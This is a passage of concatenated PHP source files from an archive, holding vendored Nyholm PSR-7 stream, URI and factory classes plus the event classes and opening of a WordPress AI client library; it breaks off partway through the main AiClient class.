third-party/Nyholm/Psr7/StreamTrait.php 0000644 00000003074 15220530455 0014071 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Symfony\Component\Debug\ErrorHandler as SymfonyLegacyErrorHandler;
use WordPress\AiClientDependencies\Symfony\Component\ErrorHandler\ErrorHandler as SymfonyErrorHandler;
if (\PHP_VERSION_ID >= 70400 || (new \ReflectionMethod(StreamInterface::class, '__toString'))->hasReturnType()) {
/**
* @internal
*/
trait StreamTrait
{
public function __toString(): string
{
if ($this->isSeekable()) {
$this->seek(0);
}
return $this->getContents();
}
}
} else {
/**
* @internal
*/
trait StreamTrait
{
/**
* @return string
*/
public function __toString()
{
try {
if ($this->isSeekable()) {
$this->seek(0);
}
return $this->getContents();
} catch (\Throwable $e) {
if (\is_array($errorHandler = \set_error_handler('var_dump'))) {
$errorHandler = $errorHandler[0] ?? null;
}
\restore_error_handler();
if ($e instanceof \Error || $errorHandler instanceof SymfonyErrorHandler || $errorHandler instanceof SymfonyLegacyErrorHandler) {
return \trigger_error((string) $e, \E_USER_ERROR);
}
return '';
}
}
}
}
third-party/Nyholm/Psr7/Stream.php 0000644 00000025555 15220530455 0013075 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class Stream implements StreamInterface
{
use StreamTrait;
/** @var resource|null A resource reference */
private $stream;
/** @var bool */
private $seekable;
/** @var bool */
private $readable;
/** @var bool */
private $writable;
/** @var array|mixed|void|bool|null */
private $uri;
/** @var int|null */
private $size;
/** @var array Hash of readable and writable stream types */
private const READ_WRITE_HASH = ['read' => ['r' => \true, 'w+' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'rb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'rt' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a+' => \true], 'write' => ['w' => \true, 'w+' => \true, 'rw' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'wb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a' => \true, 'a+' => \true]];
/**
* @param resource $body
*/
public function __construct($body)
{
if (!\is_resource($body)) {
throw new \InvalidArgumentException('First argument to Stream::__construct() must be resource');
}
$this->stream = $body;
$meta = \stream_get_meta_data($this->stream);
$this->seekable = $meta['seekable'] && 0 === \fseek($this->stream, 0, \SEEK_CUR);
$this->readable = isset(self::READ_WRITE_HASH['read'][$meta['mode']]);
$this->writable = isset(self::READ_WRITE_HASH['write'][$meta['mode']]);
}
/**
* Creates a new PSR-7 stream.
*
* @param string|resource|StreamInterface $body
*
* @throws \InvalidArgumentException
*/
public static function create($body = ''): StreamInterface
{
if ($body instanceof StreamInterface) {
return $body;
}
if (\is_string($body)) {
if (200000 <= \strlen($body)) {
$body = self::openZvalStream($body);
} else {
$resource = \fopen('php://memory', 'r+');
\fwrite($resource, $body);
\fseek($resource, 0);
$body = $resource;
}
}
if (!\is_resource($body)) {
throw new \InvalidArgumentException('First argument to Stream::create() must be a string, resource or StreamInterface');
}
return new self($body);
}
/**
* Closes the stream when the destructed.
*/
public function __destruct()
{
$this->close();
}
public function close(): void
{
if (isset($this->stream)) {
if (\is_resource($this->stream)) {
\fclose($this->stream);
}
$this->detach();
}
}
public function detach()
{
if (!isset($this->stream)) {
return null;
}
$result = $this->stream;
unset($this->stream);
$this->size = $this->uri = null;
$this->readable = $this->writable = $this->seekable = \false;
return $result;
}
private function getUri()
{
if (\false !== $this->uri) {
$this->uri = $this->getMetadata('uri') ?? \false;
}
return $this->uri;
}
public function getSize(): ?int
{
if (null !== $this->size) {
return $this->size;
}
if (!isset($this->stream)) {
return null;
}
// Clear the stat cache if the stream has a URI
if ($uri = $this->getUri()) {
\clearstatcache(\true, $uri);
}
$stats = \fstat($this->stream);
if (isset($stats['size'])) {
$this->size = $stats['size'];
return $this->size;
}
return null;
}
public function tell(): int
{
if (!isset($this->stream)) {
throw new \RuntimeException('Stream is detached');
}
if (\false === $result = @\ftell($this->stream)) {
throw new \RuntimeException('Unable to determine stream position: ' . (\error_get_last()['message'] ?? ''));
}
return $result;
}
public function eof(): bool
{
return !isset($this->stream) || \feof($this->stream);
}
public function isSeekable(): bool
{
return $this->seekable;
}
public function seek($offset, $whence = \SEEK_SET): void
{
if (!isset($this->stream)) {
throw new \RuntimeException('Stream is detached');
}
if (!$this->seekable) {
throw new \RuntimeException('Stream is not seekable');
}
if (-1 === \fseek($this->stream, $offset, $whence)) {
throw new \RuntimeException('Unable to seek to stream position "' . $offset . '" with whence ' . \var_export($whence, \true));
}
}
public function rewind(): void
{
$this->seek(0);
}
public function isWritable(): bool
{
return $this->writable;
}
public function write($string): int
{
if (!isset($this->stream)) {
throw new \RuntimeException('Stream is detached');
}
if (!$this->writable) {
throw new \RuntimeException('Cannot write to a non-writable stream');
}
// We can't know the size after writing anything
$this->size = null;
if (\false === $result = @\fwrite($this->stream, $string)) {
throw new \RuntimeException('Unable to write to stream: ' . (\error_get_last()['message'] ?? ''));
}
return $result;
}
public function isReadable(): bool
{
return $this->readable;
}
public function read($length): string
{
if (!isset($this->stream)) {
throw new \RuntimeException('Stream is detached');
}
if (!$this->readable) {
throw new \RuntimeException('Cannot read from non-readable stream');
}
if (\false === $result = @\fread($this->stream, $length)) {
throw new \RuntimeException('Unable to read from stream: ' . (\error_get_last()['message'] ?? ''));
}
return $result;
}
public function getContents(): string
{
if (!isset($this->stream)) {
throw new \RuntimeException('Stream is detached');
}
$exception = null;
\set_error_handler(static function ($type, $message) use (&$exception) {
throw $exception = new \RuntimeException('Unable to read stream contents: ' . $message);
});
try {
return \stream_get_contents($this->stream);
} catch (\Throwable $e) {
throw $e === $exception ? $e : new \RuntimeException('Unable to read stream contents: ' . $e->getMessage(), 0, $e);
} finally {
\restore_error_handler();
}
}
/**
* @return mixed
*/
public function getMetadata($key = null)
{
if (null !== $key && !\is_string($key)) {
throw new \InvalidArgumentException('Metadata key must be a string');
}
if (!isset($this->stream)) {
return $key ? null : [];
}
$meta = \stream_get_meta_data($this->stream);
if (null === $key) {
return $meta;
}
return $meta[$key] ?? null;
}
private static function openZvalStream(string $body)
{
static $wrapper;
$wrapper ?? \stream_wrapper_register('Nyholm-Psr7-Zval', $wrapper = \get_class(new class
{
public $context;
private $data;
private $position = 0;
public function stream_open(): bool
{
$this->data = \stream_context_get_options($this->context)['Nyholm-Psr7-Zval']['data'];
\stream_context_set_option($this->context, 'Nyholm-Psr7-Zval', 'data', null);
return \true;
}
public function stream_read(int $count): string
{
$result = \substr($this->data, $this->position, $count);
$this->position += \strlen($result);
return $result;
}
public function stream_write(string $data): int
{
$this->data = \substr_replace($this->data, $data, $this->position, \strlen($data));
$this->position += \strlen($data);
return \strlen($data);
}
public function stream_tell(): int
{
return $this->position;
}
public function stream_eof(): bool
{
return \strlen($this->data) <= $this->position;
}
public function stream_stat(): array
{
return [
'mode' => 33206,
// POSIX_S_IFREG | 0666
'nlink' => 1,
'rdev' => -1,
'size' => \strlen($this->data),
'blksize' => -1,
'blocks' => -1,
];
}
public function stream_seek(int $offset, int $whence): bool
{
if (\SEEK_SET === $whence && (0 <= $offset && \strlen($this->data) >= $offset)) {
$this->position = $offset;
} elseif (\SEEK_CUR === $whence && 0 <= $offset) {
$this->position += $offset;
} elseif (\SEEK_END === $whence && (0 > $offset && 0 <= $offset = \strlen($this->data) + $offset)) {
$this->position = $offset;
} else {
return \false;
}
return \true;
}
public function stream_set_option(): bool
{
return \true;
}
public function stream_truncate(int $new_size): bool
{
if ($new_size) {
$this->data = \substr($this->data, 0, $new_size);
$this->position = \min($this->position, $new_size);
} else {
$this->data = '';
$this->position = 0;
}
return \true;
}
}));
$context = \stream_context_create(['Nyholm-Psr7-Zval' => ['data' => $body]]);
if (!$stream = @\fopen('Nyholm-Psr7-Zval://', 'r+', \false, $context)) {
\stream_wrapper_register('Nyholm-Psr7-Zval', $wrapper);
$stream = \fopen('Nyholm-Psr7-Zval://', 'r+', \false, $context);
}
return $stream;
}
}
third-party/Nyholm/Psr7/Factory/Psr17Factory.php 0000644 00000007376 15220530455 0015516 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7\Factory;
use WordPress\AiClientDependencies\Nyholm\Psr7\Request;
use WordPress\AiClientDependencies\Nyholm\Psr7\Response;
use WordPress\AiClientDependencies\Nyholm\Psr7\ServerRequest;
use WordPress\AiClientDependencies\Nyholm\Psr7\Stream;
use WordPress\AiClientDependencies\Nyholm\Psr7\UploadedFile;
use WordPress\AiClientDependencies\Nyholm\Psr7\Uri;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class Psr17Factory implements RequestFactoryInterface, ResponseFactoryInterface, ServerRequestFactoryInterface, StreamFactoryInterface, UploadedFileFactoryInterface, UriFactoryInterface
{
public function createRequest(string $method, $uri): RequestInterface
{
return new Request($method, $uri);
}
public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface
{
if (2 > \func_num_args()) {
// This will make the Response class to use a custom reasonPhrase
$reasonPhrase = null;
}
return new Response($code, [], null, '1.1', $reasonPhrase);
}
public function createStream(string $content = ''): StreamInterface
{
return Stream::create($content);
}
public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface
{
if ('' === $filename) {
throw new \RuntimeException('Path cannot be empty');
}
if (\false === $resource = @\fopen($filename, $mode)) {
if ('' === $mode || \false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], \true)) {
throw new \InvalidArgumentException(\sprintf('The mode "%s" is invalid.', $mode));
}
throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $filename, \error_get_last()['message'] ?? ''));
}
return Stream::create($resource);
}
public function createStreamFromResource($resource): StreamInterface
{
return Stream::create($resource);
}
public function createUploadedFile(StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null): UploadedFileInterface
{
if (null === $size) {
$size = $stream->getSize();
}
return new UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType);
}
public function createUri(string $uri = ''): UriInterface
{
return new Uri($uri);
}
public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface
{
return new ServerRequest($method, $uri, [], null, '1.1', $serverParams);
}
}
third-party/Nyholm/Psr7/Factory/HttplugFactory.php 0000644 00000004531 15220530455 0016217 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7\Factory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory;
use WordPress\AiClientDependencies\Nyholm\Psr7\Request;
use WordPress\AiClientDependencies\Nyholm\Psr7\Response;
use WordPress\AiClientDependencies\Nyholm\Psr7\Stream;
use WordPress\AiClientDependencies\Nyholm\Psr7\Uri;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
if (!\interface_exists(MessageFactory::class)) {
throw new \LogicException('You cannot use "Nyholm\Psr7\Factory\HttplugFactory" as the "php-http/message-factory" package is not installed. Try running "composer require php-http/message-factory". Note that this package is deprecated, use "psr/http-factory" instead');
}
@\trigger_error('Class "Nyholm\Psr7\Factory\HttplugFactory" is deprecated since version 1.8, use "Nyholm\Psr7\Factory\Psr17Factory" instead.', \E_USER_DEPRECATED);
/**
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*
* @deprecated since version 1.8, use Psr17Factory instead
*/
class HttplugFactory implements MessageFactory, StreamFactory, UriFactory
{
public function createRequest($method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1'): RequestInterface
{
return new Request($method, $uri, $headers, $body, $protocolVersion);
}
public function createResponse($statusCode = 200, $reasonPhrase = null, array $headers = [], $body = null, $version = '1.1'): ResponseInterface
{
return new Response((int) $statusCode, $headers, $body, $version, $reasonPhrase);
}
public function createStream($body = null): StreamInterface
{
return Stream::create($body ?? '');
}
public function createUri($uri = ''): UriInterface
{
if ($uri instanceof UriInterface) {
return $uri;
}
return new Uri($uri);
}
}
third-party/Nyholm/Psr7/Uri.php 0000644 00000023011 15220530455 0012362 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
* PSR-7 URI implementation.
*
* @author Michael Dowling
* @author Tobias Schultze
* @author Matthew Weier O'Phinney
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class Uri implements UriInterface
{
private const SCHEMES = ['http' => 80, 'https' => 443];
private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~';
private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;=';
private const CHAR_GEN_DELIMS = ':\/\?#\[\]@';
/** @var string Uri scheme. */
private $scheme = '';
/** @var string Uri user info. */
private $userInfo = '';
/** @var string Uri host. */
private $host = '';
/** @var int|null Uri port. */
private $port;
/** @var string Uri path. */
private $path = '';
/** @var string Uri query string. */
private $query = '';
/** @var string Uri fragment. */
private $fragment = '';
public function __construct(string $uri = '')
{
if ('' !== $uri) {
if (\false === $parts = \parse_url($uri)) {
throw new \InvalidArgumentException(\sprintf('Unable to parse URI: "%s"', $uri));
}
// Apply parse_url parts to a URI.
$this->scheme = isset($parts['scheme']) ? \strtr($parts['scheme'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : '';
$this->userInfo = $parts['user'] ?? '';
$this->host = isset($parts['host']) ? \strtr($parts['host'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : '';
$this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null;
$this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : '';
$this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : '';
$this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : '';
if (isset($parts['pass'])) {
$this->userInfo .= ':' . $parts['pass'];
}
}
}
public function __toString(): string
{
return self::createUriString($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment);
}
public function getScheme(): string
{
return $this->scheme;
}
public function getAuthority(): string
{
if ('' === $this->host) {
return '';
}
$authority = $this->host;
if ('' !== $this->userInfo) {
$authority = $this->userInfo . '@' . $authority;
}
if (null !== $this->port) {
$authority .= ':' . $this->port;
}
return $authority;
}
public function getUserInfo(): string
{
return $this->userInfo;
}
public function getHost(): string
{
return $this->host;
}
public function getPort(): ?int
{
return $this->port;
}
public function getPath(): string
{
$path = $this->path;
if ('' !== $path && '/' !== $path[0]) {
if ('' !== $this->host) {
// If the path is rootless and an authority is present, the path MUST be prefixed by "/"
$path = '/' . $path;
}
} elseif (isset($path[1]) && '/' === $path[1]) {
// If the path is starting with more than one "/", the
// starting slashes MUST be reduced to one.
$path = '/' . \ltrim($path, '/');
}
return $path;
}
public function getQuery(): string
{
return $this->query;
}
public function getFragment(): string
{
return $this->fragment;
}
/**
* @return static
*/
public function withScheme($scheme): UriInterface
{
if (!\is_string($scheme)) {
throw new \InvalidArgumentException('Scheme must be a string');
}
if ($this->scheme === $scheme = \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) {
return $this;
}
$new = clone $this;
$new->scheme = $scheme;
$new->port = $new->filterPort($new->port);
return $new;
}
/**
* @return static
*/
public function withUserInfo($user, $password = null): UriInterface
{
if (!\is_string($user)) {
throw new \InvalidArgumentException('User must be a string');
}
$info = \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $user);
if (null !== $password && '' !== $password) {
if (!\is_string($password)) {
throw new \InvalidArgumentException('Password must be a string');
}
$info .= ':' . \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $password);
}
if ($this->userInfo === $info) {
return $this;
}
$new = clone $this;
$new->userInfo = $info;
return $new;
}
/**
* @return static
*/
public function withHost($host): UriInterface
{
if (!\is_string($host)) {
throw new \InvalidArgumentException('Host must be a string');
}
if ($this->host === $host = \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) {
return $this;
}
$new = clone $this;
$new->host = $host;
return $new;
}
/**
* @return static
*/
public function withPort($port): UriInterface
{
if ($this->port === $port = $this->filterPort($port)) {
return $this;
}
$new = clone $this;
$new->port = $port;
return $new;
}
/**
* @return static
*/
public function withPath($path): UriInterface
{
if ($this->path === $path = $this->filterPath($path)) {
return $this;
}
$new = clone $this;
$new->path = $path;
return $new;
}
/**
* @return static
*/
public function withQuery($query): UriInterface
{
if ($this->query === $query = $this->filterQueryAndFragment($query)) {
return $this;
}
$new = clone $this;
$new->query = $query;
return $new;
}
/**
* @return static
*/
public function withFragment($fragment): UriInterface
{
if ($this->fragment === $fragment = $this->filterQueryAndFragment($fragment)) {
return $this;
}
$new = clone $this;
$new->fragment = $fragment;
return $new;
}
/**
* Create a URI string from its various parts.
*/
private static function createUriString(string $scheme, string $authority, string $path, string $query, string $fragment): string
{
$uri = '';
if ('' !== $scheme) {
$uri .= $scheme . ':';
}
if ('' !== $authority) {
$uri .= '//' . $authority;
}
if ('' !== $path) {
if ('/' !== $path[0]) {
if ('' !== $authority) {
// If the path is rootless and an authority is present, the path MUST be prefixed by "/"
$path = '/' . $path;
}
} elseif (isset($path[1]) && '/' === $path[1]) {
if ('' === $authority) {
// If the path is starting with more than one "/" and no authority is present, the
// starting slashes MUST be reduced to one.
$path = '/' . \ltrim($path, '/');
}
}
$uri .= $path;
}
if ('' !== $query) {
$uri .= '?' . $query;
}
if ('' !== $fragment) {
$uri .= '#' . $fragment;
}
return $uri;
}
/**
* Is a given port non-standard for the current scheme?
*/
private static function isNonStandardPort(string $scheme, int $port): bool
{
return !isset(self::SCHEMES[$scheme]) || $port !== self::SCHEMES[$scheme];
}
private function filterPort($port): ?int
{
if (null === $port) {
return null;
}
$port = (int) $port;
if (0 > $port || 0xffff < $port) {
throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port));
}
return self::isNonStandardPort($this->scheme, $port) ? $port : null;
}
private function filterPath($path): string
{
if (!\is_string($path)) {
throw new \InvalidArgumentException('Path must be a string');
}
return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $path);
}
private function filterQueryAndFragment($str): string
{
if (!\is_string($str)) {
throw new \InvalidArgumentException('Query and fragment must be a string');
}
return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $str);
}
private static function rawurlencodeMatchZero(array $match): string
{
return \rawurlencode($match[0]);
}
}
src/Events/BeforeGenerateResultEvent.php 0000644 00000005251 15220530455 0014372 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Events;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
/**
* Event dispatched before a prompt is sent to the AI model.
*
* This event allows listeners to inspect and modify the messages before they
* are sent to the model. The event is not stoppable, meaning the model call
* will always proceed regardless of listener actions.
*
* @since 0.4.0
*/
class BeforeGenerateResultEvent
{
/**
* @var list<Message> The messages to be sent to the model.
*/
private array $messages;
/**
* @var ModelInterface The model that will process the prompt.
*/
private ModelInterface $model;
/**
* @var CapabilityEnum|null The capability being used for generation.
*/
private ?CapabilityEnum $capability;
/**
* Constructor.
*
* @since 0.4.0
*
* @param list<Message> $messages The messages to be sent to the model.
* @param ModelInterface $model The model that will process the prompt.
* @param CapabilityEnum|null $capability The capability being used for generation.
*/
public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability)
{
$this->messages = $messages;
$this->model = $model;
$this->capability = $capability;
}
/**
* Gets the messages to be sent to the model.
*
* @since 0.4.0
*
* @return list<Message> The messages.
*/
public function getMessages(): array
{
return $this->messages;
}
/**
* Gets the model that will process the prompt.
*
* @since 0.4.0
*
* @return ModelInterface The model.
*/
public function getModel(): ModelInterface
{
return $this->model;
}
/**
* Gets the capability being used for generation.
*
* @since 0.4.0
*
* @return CapabilityEnum|null The capability, or null if not specified.
*/
public function getCapability(): ?CapabilityEnum
{
return $this->capability;
}
/**
* Performs a deep clone of the event.
*
* This method ensures that message objects are cloned to prevent
* modifications to the cloned event from affecting the original.
* The model object is not cloned as it is a service object.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
}
}
src/Events/AfterGenerateResultEvent.php 0000644 00000006353 15220530455 0014235 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Events;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Event dispatched after a prompt has been sent to the AI model and a response received.
*
* This event allows listeners to inspect the result of the model call for logging,
* analytics, or other post-processing purposes. The result object is immutable.
*
* @since 0.4.0
*/
class AfterGenerateResultEvent
{
/**
* @var list<Message> The messages that were sent to the model.
*/
private array $messages;
/**
* @var ModelInterface The model that processed the prompt.
*/
private ModelInterface $model;
/**
* @var CapabilityEnum|null The capability that was used for generation.
*/
private ?CapabilityEnum $capability;
/**
* @var GenerativeAiResult The result from the model.
*/
private GenerativeAiResult $result;
/**
* Constructor.
*
* @since 0.4.0
*
* @param list<Message> $messages The messages that were sent to the model.
* @param ModelInterface $model The model that processed the prompt.
* @param CapabilityEnum|null $capability The capability that was used for generation.
* @param GenerativeAiResult $result The result from the model.
*/
public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability, GenerativeAiResult $result)
{
$this->messages = $messages;
$this->model = $model;
$this->capability = $capability;
$this->result = $result;
}
/**
* Gets the messages that were sent to the model.
*
* @since 0.4.0
*
* @return list<Message> The messages.
*/
public function getMessages(): array
{
return $this->messages;
}
/**
* Gets the model that processed the prompt.
*
* @since 0.4.0
*
* @return ModelInterface The model.
*/
public function getModel(): ModelInterface
{
return $this->model;
}
/**
* Gets the capability that was used for generation.
*
* @since 0.4.0
*
* @return CapabilityEnum|null The capability, or null if not specified.
*/
public function getCapability(): ?CapabilityEnum
{
return $this->capability;
}
/**
* Gets the result from the model.
*
* @since 0.4.0
*
* @return GenerativeAiResult The result.
*/
public function getResult(): GenerativeAiResult
{
return $this->result;
}
/**
* Performs a deep clone of the event.
*
* This method ensures that message and result objects are cloned to prevent
* modifications to the cloned event from affecting the original.
* The model object is not cloned as it is a service object.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
$this->result = clone $this->result;
}
}
src/AiClient.php 0000644 00000041720 15220530455 0007541 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient;
use WordPress\AiClientDependencies\Psr\EventDispatcher\EventDispatcherInterface;
use WordPress\AiClientDependencies\Psr\SimpleCache\CacheInterface;
use WordPress\AiClient\Builders\PromptBuilder;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\ProviderRegistry;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Main AI Client class providing both fluent and traditional APIs for AI operations.
*
* This class serves as the primary entry point for AI operations, offering:
* - Fluent API for easy-to-read chained method calls
* - Traditional API for array-based configuration (WordPress style)
* - Integration with provider registry for model discovery
* - Support for three model specification approaches
*
* All model requirements analysis and capability matching is handled
* automatically by the PromptBuilder, which provides intelligent model
* discovery based on prompt content and configuration.
*
* ## Model Specification Approaches
*
* ### 1. Specific Model Instance
* Use a specific ModelInterface instance when you know exactly which model to use:
* ```php
* $model = $registry->getProvider('openai')->getModel('gpt-4');
* $result = AiClient::generateTextResult('What is PHP?', $model);
* ```
*
* ### 2. ModelConfig for Auto-Discovery
* Use ModelConfig to specify requirements and let the system discover the best model:
* ```php
* $config = new ModelConfig();
* $config->setTemperature(0.7);
* $config->setMaxTokens(150);
*
* $result = AiClient::generateTextResult('What is PHP?', $config);
* ```
*
* ### 3. Automatic Discovery (Default)
* Pass null or omit the parameter for intelligent model discovery based on prompt content:
* ```php
* // System analyzes prompt and selects appropriate model automatically
* $result = AiClient::generateTextResult('What is PHP?');
* $imageResult = AiClient::generateImageResult('A sunset over mountains');
* ```
*
* ## Fluent API Examples
* ```php
* // Fluent API with automatic model discovery
* $result = AiClient::prompt('Generate an image of a sunset')
* ->usingTemperature(0.7)
* ->generateImageResult();
*
* // Fluent API with specific model
* $result = AiClient::prompt('What is PHP?')
* ->usingModel($specificModel)
* ->usingTemperature(0.5)
* ->generateTextResult();
*
* // Fluent API with model configuration
* $result = AiClient::prompt('Explain quantum physics')
* ->usingModelConfig($config)
* ->generateTextResult();
* ```
*
* @since 0.1.0
*
* @phpstan-import-type Prompt from PromptBuilder
*
* phpcs:ignore Generic.Files.LineLength.TooLong
*/
class AiClient
{
/**
* @var string The version of the AI Client.
*/
public const VERSION = '1.3.1';
/**
* @var ProviderRegistry|null The default provider registry instance.
*/
private static ?ProviderRegistry $defaultRegistry = null;
/**
* @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
*/
private static ?EventDispatcherInterface $eventDispatcher = null;
/**
* @var CacheInterface|null The PSR-16 cache for storing and retrieving cached data.
*/
private static ?CacheInterface $cache = null;
/**
* Gets the default provider registry instance.
*
* @since 0.1.0
*
* @return ProviderRegistry The default provider registry.
*/
public static function defaultRegistry(): ProviderRegistry
{
if (self::$defaultRegistry === null) {
self::$defaultRegistry = new ProviderRegistry();
}
return self::$defaultRegistry;
}
/**
* Sets the event dispatcher for prompt lifecycle events.
*
* The event dispatcher will be used to dispatch BeforeGenerateResultEvent and
* AfterGenerateResultEvent during prompt generation.
*
* @since 0.4.0
*
* @param EventDispatcherInterface|null $dispatcher The event dispatcher, or null to disable.
* @return void
*/
public static function setEventDispatcher(?EventDispatcherInterface $dispatcher): void
{
self::$eventDispatcher = $dispatcher;
}
/**
* Gets the event dispatcher for prompt lifecycle events.
*
* @since 0.4.0
*
* @return EventDispatcherInterface|null The event dispatcher, or null if not set.
*/
public static function getEventDispatcher(): ?EventDispatcherInterface
{
return self::$eventDispatcher;
}
/**
* Sets the PSR-16 cache for storing and retrieving cached data.
*
* The cache can be used to store AI responses and other data to avoid
* redundant API calls and improve performance.
*
* @since 0.4.0
*
* @param CacheInterface|null $cache The PSR-16 cache instance, or null to disable caching.
* @return void
*/
public static function setCache(?CacheInterface $cache): void
{
self::$cache = $cache;
}
/**
* Gets the PSR-16 cache instance.
*
* @since 0.4.0
*
* @return CacheInterface|null The cache instance, or null if not set.
*/
public static function getCache(): ?CacheInterface
{
return self::$cache;
}
/**
* Checks if a provider is configured and available for use.
*
